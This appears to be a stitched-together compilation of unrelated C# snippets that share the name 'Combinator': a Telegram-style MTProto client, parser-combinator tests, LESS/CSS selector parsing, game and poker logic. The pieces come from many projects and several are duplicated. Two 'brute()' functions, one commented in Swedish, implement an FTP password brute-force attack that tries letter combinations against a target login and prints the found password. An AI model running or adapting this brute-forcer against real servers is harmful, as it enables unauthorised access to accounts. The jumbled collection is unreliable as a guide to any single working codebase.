private List <RpcAnswer> ProcessAnswers(Combinator request, IEnumerable <Combinator> response) { var answers = new List <RpcAnswer>(); foreach (Combinator combinator in response) { if (_systemCalls.Contains(combinator.Name)) { Trace.TraceInformation("#System: {0}", combinator); if (combinator.Name == "bad_server_salt") { _settings.NonceNewNonceXor = combinator.Get <long>("new_server_salt"); SaveSettings(_settings); RpcAnswer result = RpcCall(request); answers.Add(result); } } else if (combinator.Descriptor.type == "Updates") { Trace.TraceInformation("#Update: {0}", combinator); ProcessUpdates(combinator); } else { Trace.TraceInformation("#Recieve: {0}", combinator); // todo: проверять тип комбинаторов. Учесть: rpc_error, X, Vector t, etc. answers.Add(new RpcAnswer(combinator)); } } return(answers); }
private IEnumerable <Combinator> Exchange(Combinator combinator) { _session.Salt = _settings.NonceNewNonceXor; var oc = new SessionContainer(_session.SessionId, combinator); EncryptedMessage encMessage = _session.PrepareRpcCall(oc); var call = new TcpTransport(_connection.PacketNumber++, encMessage.Serialize()); _connection.Write(call.Serialize()); Trace.TraceInformation("#Send: {0}", combinator); var buffer = _connection.Read(); if (buffer.Length == 0) { throw new DecodeException("Response is empty"); } var result = new List <Combinator>();// ReSharper disable once LoopCanBeConvertedToQuery foreach (SessionContainer container in ProcessInputBuffer(buffer)) { Combinator c = Unwrap(container.Combinator, container.SessionId, _session.SessionId, combinator.Descriptor.type); if (c != null) { result.Add(c); } } return(result); }
public RpcAnswer PerformRpcCall(Combinator request, bool reconnect = true) { if (_connection == null) { throw new Exception("Client not connected"); } RpcSync.WaitOne(); try { if (_connection.Connect(reconnect)) { _session = new EncryptedMtProtoSession(_settings.AuthKey, _settings.NonceNewNonceXor); } RpcAnswer answer = RpcCall(request); if (answer.Combinator != null) { _updatingState.Update(answer.Combinator); } return(answer); } finally { RpcSync.Set(); } }
public void CombinatorCombinesAdditionalProperties() { LineSeriesConfigurator a = new(); LineSeriesConfigurator b = new(); Expression <Func <LineSeries, string?> > propertyExpression = ls => ls.LabelFormatString; const string format = "ABC"; a.SetAdditional(propertyExpression, format); // Property only set on a Combinator <LineSeriesConfigurator> combinator = new(a, b); LineSeriesConfigurator combined = combinator.Combine(); ConfigurableProperty <string>?combinedProperty = combined.AdditionalProperties.Get(propertyExpression); Assert.NotNull(combinedProperty); Assert.True(combinedProperty !.IsSet); Assert.Equal(format, combinedProperty.Value); // Property set on a AND b, should take the value from a and ignore b b.SetAdditional(propertyExpression, "ANOTHER RANDOM VALUE"); combinator = new Combinator <LineSeriesConfigurator>(a, b); combined = combinator.Combine(); combinedProperty = combined.AdditionalProperties.Get(propertyExpression); Assert.NotNull(combinedProperty); Assert.True(combinedProperty !.IsSet); Assert.Equal(format, combinedProperty.Value); }
private Combinator Unwrap(Combinator response, long responseId, long sessionId, string type) { switch (response.Name) { case "gzip_packed": byte[] packedData = response.Get <byte[]>("packed_data"); using (var gz = new GZipStream(new MemoryStream(packedData, 0, packedData.Length), CompressionMode.Decompress, false)) response = new Combinator(new BinaryReader(gz).ReadAllBytes(), type); return(Unwrap(response, responseId, sessionId, type)); case "rpc_result": if (responseId == sessionId) { // выполним распаковку ответа из Object // rpc_result#f35c6d01 req_msg_id:long result:Object = RpcResult; var raw = response.Get <byte[]>("result"); var combinator = new Combinator(raw, type); return(Unwrap(combinator, responseId, sessionId, type)); } Trace.TraceWarning("Unexpected session id: {0}. Actual: {1}. Combinator: {2}", responseId, sessionId, response); return(null); default: return(response); } }
public void NotTest() { Combinator.Not(Combinator.Sequence("inpXtString".Select(Chars.Char))) .Run("inputString".AsStream()) .Case( success: (restStream, _) => { Assert.True(restStream.Current.HasValue); Assert.AreEqual('i', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(1, restStream.Current.Value.Item1.Column); }, failure: (restStream, value) => Assert.Fail()); Combinator.Not(Combinator.Sequence("inputString".Select(Chars.Char))) .Run("inputString".AsStream()) .Case( success: (restStream, _) => Assert.Fail(), failure: (restStream, value) => { Assert.True(restStream.Current.HasValue); Assert.AreEqual('i', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(1, restStream.Current.Value.Item1.Column); }); }
private void spawnSpell(LayoutTracker prefab, Combinator combinator) { LayoutTracker newSpell = Instantiate(prefab, transform); newSpell.enabled = false; newSpell.gameObject.AddComponent <LayoutElement>(); }
public CartoElement(Combinator combinator, Node value) : base(combinator, value) { string strValue = value.ToString().Trim(); if (string.IsNullOrEmpty(strValue)) { m_type = ElementType.Unknown; if (strValue != null) { Value = "\"\""; } } else if (strValue[0] == '#') { Value = strValue.Remove(0, 1); m_type = ElementType.Id; } else if (strValue[0] == '.') { Value = strValue.Remove(0, 1); m_type = ElementType.Class; } else if (strValue.Contains('*')) { m_type = ElementType.Wildchar; } }
public RpcAnswer RpcCall(Combinator combinator, params string[] expectedAnswers) { Trace.TraceInformation("#Send plain: {0}", combinator); var pm = new PlainMessage(0, combinator); var transport = new TcpTransport(_connection.PacketNumber++, pm.Serialize()); byte[] responseb = _connection.ExchangeWithServer(transport.Serialize()); TcpTransport answer; using (var ms = new MemoryStream(responseb)) answer = new TcpTransport(ms); uint constructor = PlainMessage.ExtractConstructor(answer.Payload); new Crc32(); foreach (string item in expectedAnswers) { uint crc32 = Crc32.Compute(Encoding.UTF8.GetBytes(item)); if (crc32 == constructor) { var resultCombinator = new PlainMessage(answer.Payload, item.Split(' ').Last().Trim()).Combinator; Trace.TraceInformation("#Recieve plain: {0}", resultCombinator); return new RpcAnswer(resultCombinator); } } throw new ArgumentException("unexpected answer"); }
// // A Selector Element // // div // + h1 // #socks // input[type="text"] // // Elements are the building blocks for Selectors, // they are made out of a `Combinator` (see combinator rule), // and an element name, such as a tag a class, or `*`. // public Element Element(Parser parser) { var index = parser.Tokenizer.Location.Index; GatherComments(parser); Combinator c = Combinator(parser); PushComments(); GatherComments(parser); // to collect, combinator must have picked up something which would require memory anyway var e = parser.Tokenizer.Match(@"[.#:]?[a-zA-Z0-9_-]+") || parser.Tokenizer.Match('*') || Attribute(parser) || parser.Tokenizer.MatchAny(@"\([^)@]+\)"); bool isCombinatorAnd = !e && c.Value.StartsWith("&"); if (e || isCombinatorAnd) { c.PostComments = PullComments(); PopComments(); c.PreComments = PullComments(); return(NodeProvider.Element(c, isCombinatorAnd ? null : e.Value, index)); } PopComments(); return(null); }
public void RepeatTest() { Combinator.Repeat(Parser.Fail <Char, Char>("Failure"), 0) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, _) => { /* OK */ }); Combinator.Repeat(Chars.Any(), 5) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, value) => { Assert.True(Enumerable.SequenceEqual(value, "input")); Assert.True(restStream.Current.HasValue); Assert.AreEqual('S', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(6, restStream.Current.Value.Item1.Column); }); Combinator.Repeat(Chars.Any(), 12) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => { Assert.False(restStream.Current.HasValue); }, success: (restStream, value) => Assert.Fail()); }
private static void SingleMonsterAnalysis(string monsterName) { var monster = Library.Monsters.First(x => x.Name == monsterName); var combinator = new Combinator(); for (int i = 0; i < 4; i++) { var buildStyle = (BuildPurpose)i; Console.WriteLine(BuildNames[i] + ":"); foreach (var hero in Library.Heroes) { Console.WriteLine(" " + hero.Name + ":"); foreach (var build in combinator.AnalyzeHero(hero, 40, monster, buildStyle)) { Console.Write(" "); for (int slot = 0; slot < build.Items.Length; slot++) { Console.Write(build.Items[slot].Name + ", "); } Console.WriteLine(); Console.WriteLine(" score: {0} {1}", build.Score.ToString("0.##"), BuildScoring[i]); } } Console.WriteLine(); } }
// Call this to set up the display public void initialize(Combinator combinator) { string lambda = combinator.lambdaTerm; // From SpawnTarget:createTarget() char[] c = { '>' }; var split = lambda.Split(c); var tmpStartVariables = startSMT.Variables; var tmpTargetVariables = targetSMT.Variables; // Create Start (proposal) // Construct the term using the combinator and then arity variables startSMT.Variables = split[0].Skip(1).Where(char.IsLetter).ToList(); List <Term> termList = new List <Term>(); termList.Add(Term.Leaf(Sum <Combinator, Variable> .Inl(combinator))); for (int i = 0; i < combinator.arity; i++) { termList.Add(Term.Leaf(Sum <Combinator, Variable> .Inr((Variable)i))); } startTerm = Term.Node(termList); startSMT.CreateTerm(startTerm); startSMT.Variables = tmpStartVariables; // Create Target targetSMT.Variables = split[0].Skip(1).Where(char.IsLetter).ToList(); goalTerm = targetSMT.CreateTerm(split[1]); targetSMT.Variables = tmpTargetVariables; }
// // Mixins // // // A Mixin call, with an optional argument list // // #mixins > .square(#fff); // .rounded(4px, black); // .button; // // The `while` loop is there because mixins can be // namespaced, but we only support the child and descendant // selector for now. // public MixinCall MixinCall(Parser parser) { var elements = new NodeList <Element>(); var index = parser.Tokenizer.Location.Index; RegexMatchResult e; Combinator c = null; for (var i = parser.Tokenizer.Location.Index; e = parser.Tokenizer.Match(@"[#.][a-zA-Z0-9_-]+"); i = parser.Tokenizer.Location.Index) { elements.Add(NodeProvider.Element(c, e.Value, i)); i = parser.Tokenizer.Location.Index; var match = parser.Tokenizer.Match('>'); c = match != null?NodeProvider.Combinator(match.Value, i) : null; } NodeList <Expression> args = null; if (parser.Tokenizer.Match('(') && (args = Arguments(parser)) && parser.Tokenizer.Match(')')) { // arguments optional } if (elements.Count > 0 && (parser.Tokenizer.Match(';') || parser.Tokenizer.Peek('}'))) { return(NodeProvider.MixinCall(elements, args, index)); } return(null); }
public void LookaheadTest() { Combinator.Lookahead(Combinator.Sequence("inpXtString".Select(Chars.Char))) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => { Assert.True(restStream.Current.HasValue); Assert.AreEqual('i', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(1, restStream.Current.Value.Item1.Column); }, success: (restStream, value) => Assert.Fail()); Combinator.Lookahead(Combinator.Sequence("inputString".Select(Chars.Char))) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, value) => { Assert.True(Enumerable.SequenceEqual(value, "inputString")); Assert.True(restStream.Current.HasValue); Assert.AreEqual('i', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(1, restStream.Current.Value.Item1.Column); }); }
public void OptionalTest() { Combinator.Optional(Chars.Any()) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, optionalValue) => { Assert.True(optionalValue.HasValue); Assert.AreEqual('i', optionalValue.Value); }); Combinator.Optional(Chars.Any()) .Run("".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, optionalValue) => { Assert.False(optionalValue.HasValue); }); Combinator.Optional(Combinator.Sequence("inpXtString".Select(Chars.Char))) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, optionalValue) => { Assert.False(optionalValue.HasValue); Assert.True(restStream.Current.HasValue); Assert.AreEqual('i', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(1, restStream.Current.Value.Item1.Column); }); }
public void LazyTest() { var throwException = new Func <Parser <Char, Char> >(() => { throw new InvalidOperationException(); }); Assert.Throws(typeof(InvalidOperationException), () => Combinator.Or( Chars.Any(), throwException()) .Run("inputString".AsStream())); Combinator.Or( Chars.Any(), Combinator.Lazy(throwException)) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, value) => { Assert.AreEqual('i', value); Assert.True(restStream.Current.HasValue); Assert.AreEqual('n', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(2, restStream.Current.Value.Item1.Column); }); }
public void CombinatorTest() { Combinator c = new Combinator(5, 3); int[][] combinations = new int[][] { new int[] { 0, 1, 2 }, new int[] { 0, 1, 3 }, new int[] { 0, 1, 4 }, new int[] { 0, 2, 3 }, new int[] { 0, 2, 4 }, new int[] { 0, 3, 4 }, new int[] { 1, 2, 3 }, new int[] { 1, 2, 4 }, new int[] { 1, 3, 4 }, }; foreach (var comb in combinations) { CollectionAssert.AreEqual(comb, c.combination); Assert.IsTrue(c.Next()); } CollectionAssert.AreEqual(new int[] { 2, 3, 4 }, c.combination); Assert.IsFalse(c.Next()); }
public void Pipe2Test() { Combinator.Pipe( Chars.Char('i'), Chars.Char('n'), Chars.Char('p'), (value0, value1, value2) => new[] { value0, value1, value2 }) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, value) => { Assert.True(Enumerable.SequenceEqual(value, "inp")); Assert.AreEqual('u', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(4, restStream.Current.Value.Item1.Column); }); Combinator.Pipe( Chars.Char('i'), Chars.Char('n'), Parser.Fail <Char, Char>("Failure"), (value0, value1, value2) => new[] { value0, value1, value2 }) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => { Assert.True(restStream.Current.HasValue); Assert.AreEqual('p', restStream.Current.Value.Item0); Assert.AreEqual(1, restStream.Current.Value.Item1.Line); Assert.AreEqual(3, restStream.Current.Value.Item1.Column); }, success: (restStream, value) => Assert.Fail()); }
public Element Element(Combinator combinator, Node value, NodeLocation location) { return(new Element(combinator, value) { Location = location }); }
public override void OnResponse(BinaryReader reader) { var code = new Combinator(reader.ReadUInt32()); //if (constructor != typeof (ConfigConstructor) ) if (code.ToType == typeof(Messages_messagesSliceConstructor)) { var gzipStream = reader.BaseStream as GZipStream; var memoryStream = reader.BaseStream as MemoryStream; if (gzipStream == null && memoryStream == null) { Debugger.Break(); } // ReSharper disable once PossibleNullReferenceException var count = gzipStream?.BufferSize ?? memoryStream.Length; var readBytes = reader.ReadBytes((int)count); throw new Exception("Error obtaining configuration."); //while(true) reader } ConfigConstructor config = new ConfigConstructor(); config.Read(reader); ConfigConstructor = config; }
public Element Element(Combinator combinator, string value, int index) { return(new Element(combinator, value) { Index = index }); }
public void ChainrTest() { var number = Chars.Digit().Many1() .Map(value => new String(value.ToArray())); var opAdd = Chars.Char('+') .Map(_ => new Func <String, String, String>((lhs, rhs) => String.Format("({0}+{1})", lhs, rhs))); var opSub = Chars.Char('-') .Map(_ => new Func <String, String, String>((lhs, rhs) => String.Format("({0}-{1})", lhs, rhs))); var term = number; var expr = Combinator.Chainr(term, opAdd.Or(opSub)).Or(term); expr.Run("1".AsStream()).Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, value) => { Assert.True(Enumerable.SequenceEqual(value, "1")); }); expr.Run("1+2-3".AsStream()).Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, value) => { Assert.True(Enumerable.SequenceEqual(value, "(1+(2-3))")); }); }
public static LogicResult Result(GameState state) { var best = Combinator.GetBest(state.CommunityCards.Concat(state.GetMyCards()).ToArray()); if (best.Combination == Combinations.One) { return new LogicResult { CanRespondToAllIn = false, RaiseOdds = 0, CallOdds = 0 } } ; if (best.Combination == Combinations.FullHouse || best.Combination == Combinations.Flash || best.Combination == Combinations.Quad) { return new LogicResult { CanRespondToAllIn = true, RaiseOdds = 1, CallOdds = 1 } } ; if (best.Combination == Combinations.Straight || best.Combination == Combinations.Trio || best.Combination == Combinations.TwoPairs) { return new LogicResult { CanRespondToAllIn = false, RaiseOdds = 0, CallOdds = 1 } } ; return(new LogicResult { CanRespondToAllIn = false, RaiseOdds = 0, CallOdds = 0.25 }); } } }
public void SepEndBy1Test() { Combinator.SepEndBy1( Parser.Fail <Char, Char>("Failure"), Parser.Fail <Char, Unit>("Failure")) .Run("inputString".AsStream()) .Case( failure: (restStream, _) => { /* OK */ }, success: (restStream, _) => Assert.Fail()); Combinator.SepEndBy1( Chars.Any(), Chars.Char(',').Ignore()) .Run("i,n,p,u,t,S,t,r,i,n,g".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, value) => { Assert.True(Enumerable.SequenceEqual(value, "inputString")); Assert.False(restStream.Current.HasValue); }); Combinator.SepEndBy1( Chars.Any(), Chars.Char(',').Ignore()) .Run("i,n,p,u,t,S,t,r,i,n,g,".AsStream()) .Case( failure: (restStream, _) => Assert.Fail(), success: (restStream, value) => { Assert.True(Enumerable.SequenceEqual(value, "inputString")); Assert.False(restStream.Current.HasValue); }); }
public RpcAnswer RpcCall(Combinator combinator, params string[] expectedAnswers) { Trace.TraceInformation("#Send plain: {0}", combinator); var pm = new PlainMessage(0, combinator); var transport = new TcpTransport(_connection.PacketNumber++, pm.Serialize()); byte[] responseb = _connection.ExchangeWithServer(transport.Serialize()); TcpTransport answer; using (var ms = new MemoryStream(responseb)) answer = new TcpTransport(ms); uint constructor = PlainMessage.ExtractConstructor(answer.Payload); new Crc32(); foreach (string item in expectedAnswers) { uint crc32 = Crc32.Compute(Encoding.UTF8.GetBytes(item)); if (crc32 == constructor) { var resultCombinator = new PlainMessage(answer.Payload, item.Split(' ').Last().Trim()).Combinator; Trace.TraceInformation("#Recieve plain: {0}", resultCombinator); return(new RpcAnswer(resultCombinator)); } } throw new ArgumentException("unexpected answer"); }
static ITlResponse HandleRpcResult(BinaryReader messageReader, MTProtoRequest request) { var combinator = new Combinator(messageReader.ReadUInt32()); var requestId = messageReader.ReadUInt64(); if (requestId == (ulong)request.MessageId) { request.ConfirmReceived = true; } var innerCode = messageReader.ReadUInt32(); if (innerCode != 0x3072cfa1) { return(null); } ITlResponse response = null; var packedData = Serializers.Bytes.read(messageReader); var packedStream = new MemoryStream(packedData, false); var zipStream = new GZipStream(packedStream, CompressionMode.Decompress); var compressedReader = new BinaryReader(zipStream); var responseHandlerFactory = new ResponseHandlerFactory(); var handler = responseHandlerFactory.GetHandler <ContactsContacts>(); if (handler != null) { response = handler.Populate(compressedReader); } const int bufferSize = 4096; using (var memoryStream = new MemoryStream()) { var buffer = new byte[bufferSize]; int count; while ((count = compressedReader.Read(buffer, 0, buffer.Length)) != 0) { memoryStream.Write(buffer, 0, count); } } compressedReader.Dispose(); zipStream.Dispose(); packedStream.Dispose(); return(response); }
public RpcAnswer(Combinator answer) { Success = answer.Name != "rpc_error"; if (Success) Combinator = answer; else Error = new RpcError(answer.Get<int>("error_code"), answer.Get<string>("error_message")); }
public BackwardTermData(Term newTerm, Func <LayoutTracker> lt, Combinator c, List <int> path, LayoutTracker topSymbol) { this.newTerm = newTerm; this.lt = lt; C = c; this.path = path; TopSymbol = topSymbol; }
/// <summary>Initializes a new instance of the CombinatorSimpleSelectorSequenceNode class</summary> /// <param name="combinator">Combinator obejct</param> /// <param name="simpleSelectorSequenceNode">Simple SelectorNode</param> public CombinatorSimpleSelectorSequenceNode(Combinator combinator, SimpleSelectorSequenceNode simpleSelectorSequenceNode) { Contract.Requires(combinator != Combinator.None); Contract.Requires(simpleSelectorSequenceNode != null); this.Combinator = combinator; this.SimpleSelectorSequenceNode = simpleSelectorSequenceNode; }
public CombinatorElim(Combinator c, List <Term> term, List <int> path) { if (term[0].Match(l => true, sum => sum.Match(c2 => c2 != c, v => true))) { throw new ArgumentException(); } this.c = c; this.path = path.ToList(); }
private void Insert(Combinator combinator) { _hasCombinator = true; if (combinator != Combinator.Descendent) { _combinator = combinator; } }
public PlainMessage(byte[] raw, string type) { using (var br = new BinaryReader(new MemoryStream(raw))) { AuthKeyId = br.ReadInt64(); MessageId = br.ReadInt64(); int length = br.ReadInt32(); Combinator = new Combinator(br.ReadBytes(length), type); } }
/// <summary> /// Генерация ключа авторизации /// </summary> /// <returns></returns> private bool GenerateAuthKey(string address, int port) { using (var connection = new TcpConnection(address, port, _formatter)) { connection.Connect(true); var pns = new PlainMtProtoSession(connection); _nonce = BigInteger.GenerateRandom(128); var reqpq = new Combinator("req_pq", _nonce); RpcAnswer result = pns.RpcCall(reqpq, "resPQ nonce:int128 server_nonce:int128 pq:string server_public_key_fingerprints:Vector long = ResPQ"); if (!result.Success) throw new Exception(result.Error.ToString()); Combinator reqDhParams = ProcessPqAnswer(result.Combinator); result = pns.RpcCall(reqDhParams, "server_DH_params_ok nonce:int128 server_nonce:int128 encrypted_answer:string = Server_DH_Params", "server_DH_params_fail nonce:int128 server_nonce:int128 new_nonce_hash:int128 = Server_DH_Params"); if (result.Combinator.Name == "server_DH_params_ok") { Combinator serverDhInnerData = ProcessDhParams(result.Combinator); Combinator setClientDhParams = SetClientDhParams(serverDhInnerData); result = pns.RpcCall(setClientDhParams, "dh_gen_ok nonce:int128 server_nonce:int128 new_nonce_hash1:int128 = Set_client_DH_params_answer", "dh_gen_retry nonce:int128 server_nonce:int128 new_nonce_hash2:int128 = Set_client_DH_params_answer", "dh_gen_fail nonce:int128 server_nonce:int128 new_nonce_hash3:int128 = Set_client_DH_params_answer"); Thread.Sleep(100); switch (result.Combinator.Name) { case "dh_gen_ok": InitialSalt = CalculateInitialSalt(_newNonce, _serverNonce); // Проверим new_nonce_hash1 bool res = CheckNewNonceHash(result.Combinator.Get<BigInteger>("new_nonce_hash1"), 1); return res; case "dh_gen_retry": // HACK: ретри не реализован case "dh_gen_fail": return false; default: return false; } } return false; } }
public bool InitConnection(int apiId, string device, string system, string app, string lang, int layer) { var combinator = new Combinator("initConnection", apiId, device, system, app, lang , new Combinator("invokeWithLayer", layer, new Combinator("updates.getState"))); RpcAnswer answer = PerformRpcCall(combinator); if (answer.Success) { _updatingState.Update(answer.Combinator); _authorized = true; return true; } _authorized = false; if (answer.Error.ErrorCode == 401) return false; throw new Exception(answer.Error.ToString()); }
internal SelectorFactory ResetFactory() { _attributeName = null; _attributeValue = null; _attributeOperator = string.Empty; _selectorOperation = SelectorOperation.Data; _combinator = Combinator.Descendent; _hasCombinator = false; _currentSelector = null; _aggregateSelectorList = null; _complexSelector = null; return this; }
public Element Element(Combinator combinator, Node value, NodeLocation location) { return new Element(combinator, value) { Location = location }; }
public RpcAnswer PerformRpcCall(Combinator request, bool reconnect = true) { if (_connection == null) throw new Exception("Client not connected"); RpcSync.WaitOne(); try { if (_connection.Connect(reconnect)) _session = new EncryptedMtProtoSession(_settings.AuthKey, _settings.NonceNewNonceXor); RpcAnswer answer = RpcCall(request); if (answer.Combinator != null) _updatingState.Update(answer.Combinator); return answer; } finally { RpcSync.Set(); } }
public SessionContainer(long sessionId, Combinator combinator) : this(sessionId) { Combinator = combinator; }
private Combinator Unwrap(Combinator response, long responseId, long sessionId, string type) { switch (response.Name) { case "gzip_packed": byte[] packedData = response.Get<byte[]>("packed_data"); using (var gz = new GZipStream(new MemoryStream(packedData, 0, packedData.Length), CompressionMode.Decompress, false)) response = new Combinator(new BinaryReader(gz).ReadAllBytes(), type); return Unwrap(response, responseId, sessionId, type); case "rpc_result": if (responseId == sessionId) { // выполним распаковку ответа из Object // rpc_result#f35c6d01 req_msg_id:long result:Object = RpcResult; var raw = response.Get<byte[]>("result"); var combinator = new Combinator(raw, type); return Unwrap(combinator, responseId, sessionId, type); } Trace.TraceWarning("Unexpected session id: {0}. Actual: {1}. Combinator: {2}", responseId, sessionId, response); return null; default: return response; } }
private IEnumerable<Combinator> Exchange(Combinator combinator) { _session.Salt = _settings.NonceNewNonceXor; var oc = new SessionContainer(_session.SessionId, combinator); EncryptedMessage encMessage = _session.PrepareRpcCall(oc); var call = new TcpTransport(_connection.PacketNumber++, encMessage.Serialize()); _connection.Write(call.Serialize()); Trace.TraceInformation("#Send: {0}", combinator); var buffer = _connection.Read(); if (buffer.Length == 0) throw new DecodeException("Response is empty"); var result = new List<Combinator>();// ReSharper disable once LoopCanBeConvertedToQuery foreach (SessionContainer container in ProcessInputBuffer(buffer)) { Combinator c = Unwrap(container.Combinator, container.SessionId, _session.SessionId, combinator.Descriptor.type); if (c != null) result.Add(c); } return result; }
// ReSharper restore MemberCanBePrivate.Global // ReSharper restore UnusedMember.Global private Combinator RpcCall(string name, params object[] parameters) { RpcAnswer answer; try { var combinator = new Combinator(name, parameters); answer = _provider.PerformRpcCall(combinator); } catch (Exception e) { e = e is AggregateException ? e.InnerException : e; throw new TlException(e); } if (!answer.Success) throw new TlException(new Exception(answer.Error.ToString())); return answer.Combinator; }
//Method för Brute Force Attacken static void brute() { //Pattern är en lista med bokstäver. Från a - z. Denna används för vilka bokstäver som ska vara med vid ett försök av brute force attacken. var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; Combinator<string> Combinator = new Combinator<string>(Pattern); while (Combinator.HasFinised == false) { if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("==========================="); Console.WriteLine("Exiting"); Console.WriteLine("==========================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Brute Force ended.."); Console.ResetColor(); Console.WriteLine("Press any key to go back to the menu"); Console.ReadLine(); Main(); } var Combined = Combinator.Next(); var pass = string.Join("", Combined); Console.WriteLine(pass); ftp Ftp = new ftp("ftp://" + IP, port, username, pass); if (Ftp.LoginCheck()) { if (loggingEnable) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Statistics written to disc.."); Console.ResetColor(); WriteStatistics(); } if (SendEmail) { SendingEmail(); Console.WriteLine("Email sent.."); } Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("The password was: {0}", pass); Console.ResetColor(); ContinueOnKeyPressed(); Main(); } } }
// msg_container#73f1f8dc messages:vector message = MessageContainer; // message msg_id:long seqno:int bytes:int body:Object = Message; public PlainMessage(Int64 authKeyId, Combinator combinator) { AuthKeyId = authKeyId; MessageId = GetNextMessageId(); Combinator = combinator; }
public static void brute() { var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; Combinator<string> Combinator = new Combinator<string>(Pattern); while (Combinator.HasFinised == false) { if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("==========================="); Console.WriteLine("Exiting"); Console.WriteLine("==========================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Brute Force ended.."); Console.ResetColor(); Console.WriteLine("Press any key to go back to the menu"); Console.ReadLine(); break; } Thread.Sleep(50); var Combined = Combinator.Next(); var Joined = string.Join("", Combined); Console.WriteLine(Joined); ftp Ftp = new ftp("ftp://" + IP, port, username, Joined); if (Ftp.LoginCheck()) { Console.ForegroundColor = ConsoleColor.Yellow; Console.ResetColor(); Console.ForegroundColor = ConsoleColor.DarkGreen; Console.WriteLine("Connected to the server"); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.DarkMagenta; Console.WriteLine("The password was: {0}", Joined); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("======================="); Console.ResetColor(); Program.ContinueOnKeyPressed(); Console.Clear(); break; } } Program.Main(); }
private void OnUpdate(Combinator obj) { _updates.Add(obj); }
public SessionContainer(long sessionId, byte[] raw) : this(sessionId) { Combinator = new Combinator(raw, null); }
public void Update(Combinator c) { int value; if (c.TryGet("pts", out value)) Pts = value; if (c.TryGet("qts", out value)) Qts = value; if (c.TryGet("date", out value)) Date = value; if (c.TryGet("seq", out value)) Seq = value; }
public CombinatorSelector(BaseSelector selector, Combinator delimiter) { Selector = selector; Delimiter = delimiter; }
private void ProcessUpdates(Combinator combinator) { switch (combinator.Name) { // Обновлений накопилось слишком много, необходимо выполнить updates.getDifference case "updatesTooLong": UpdateDifference(); break; default: _updatingState.Update(combinator); Updates(combinator); break; } }
public RpcAnswer(long sessionId, Combinator answer) : this(answer) { SessionId = sessionId; }
private List<RpcAnswer> ProcessAnswers(Combinator request, IEnumerable<Combinator> response) { var answers = new List<RpcAnswer>(); foreach (Combinator combinator in response) { if (_systemCalls.Contains(combinator.Name)) { Trace.TraceInformation("#System: {0}", combinator); if (combinator.Name == "bad_server_salt") { _settings.NonceNewNonceXor = combinator.Get<long>("new_server_salt"); SaveSettings(_settings); RpcAnswer result = RpcCall(request); answers.Add(result); } } else if (combinator.Descriptor.type == "Updates") { Trace.TraceInformation("#Update: {0}", combinator); ProcessUpdates(combinator); } else { Trace.TraceInformation("#Recieve: {0}", combinator); // todo: проверять тип комбинаторов. Учесть: rpc_error, X, Vector t, etc. answers.Add(new RpcAnswer(combinator)); } } return answers; }
private void Insert(BaseSelector selector) { if (_currentSelector != null) { if (!_hasCombinator) { var compound = _currentSelector as AggregateSelectorList; if (compound == null) { compound = new AggregateSelectorList(""); compound.AppendSelector(_currentSelector); } compound.AppendSelector(selector); _currentSelector = compound; } else { if (_complexSelector == null) { _complexSelector = new ComplexSelector(); } _complexSelector.AppendSelector(_currentSelector, _combinator); _combinator = Combinator.Descendent; _hasCombinator = false; _currentSelector = selector; } } else { if (_currentSelector == null && _complexSelector == null && _combinator == Combinator.Namespace) { _complexSelector = new ComplexSelector(); _complexSelector.AppendSelector(new UnknownSelector(""), _combinator); _currentSelector = selector; } else { _combinator = Combinator.Descendent; _hasCombinator = false; _currentSelector = selector; } } }
